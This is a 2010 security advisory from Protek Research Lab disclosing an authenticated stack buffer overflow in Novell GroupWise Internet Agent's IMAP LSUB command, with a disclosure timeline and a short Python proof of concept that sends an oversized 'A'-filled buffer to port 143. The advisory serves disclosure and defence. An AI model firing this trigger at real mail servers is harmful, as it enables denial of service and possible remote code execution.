  #####################################################################################   Application: Novell Groupwise Internet Agent IMAP LIST LSUB Command Remote Code Execution Vulnerability   Platforms: SLES 10 SP3 (GroupWise 8.0.2)   Exploitation: Remote code execution   CVE Number:   Novell TID: 7007157   Author: Francis Provencher (Protek Research Lab's)   WebSite: http://www.protekresearchlab.com/     #####################################################################################   1) Introduction 2) Report Timeline 3) Technical details 4) The Code     #####################################################################################   =============== 1) Introduction ===============   Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in   enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients.   (http://en.wikipedia.org/wiki/Novell)   #####################################################################################   ============================ 2) Report Timeline ============================   2010-08-27Vulnerability reported to vendor 2010-11-08Vendor disclose patch     #####################################################################################   ============================ 3) Technical details ============================   This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Groupwise   Internet Agent where IMAP services run. Authentication is required to exploit this vulnerability.   The flaw exists within the IMAP functionality included with GWIA. When provided with an overly long LIST or LSUB request to the CREATE verb, the IMAP server can be forced to overflow a buffer on the stack. Successful exploitation leads to   remote code execution under the context of the server.     #####################################################################################   =========== 4) The Code ===========   #!/usr/bin/python # # Francis Provencher for Protek Research Lab's. # #     import socket   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   buffer = '\x41' * 1368   s.connect(('192.168.100.178',143)) s.recv(1024) s.send('A001 LOGIN testtest ' + buffer + '\r\n') s.recv(1024) s.send('A001 LSUB aa ' + buffer + '\r\n') s.recv(1024) s.close()       #####################################################################################   (PRL-2010-08)
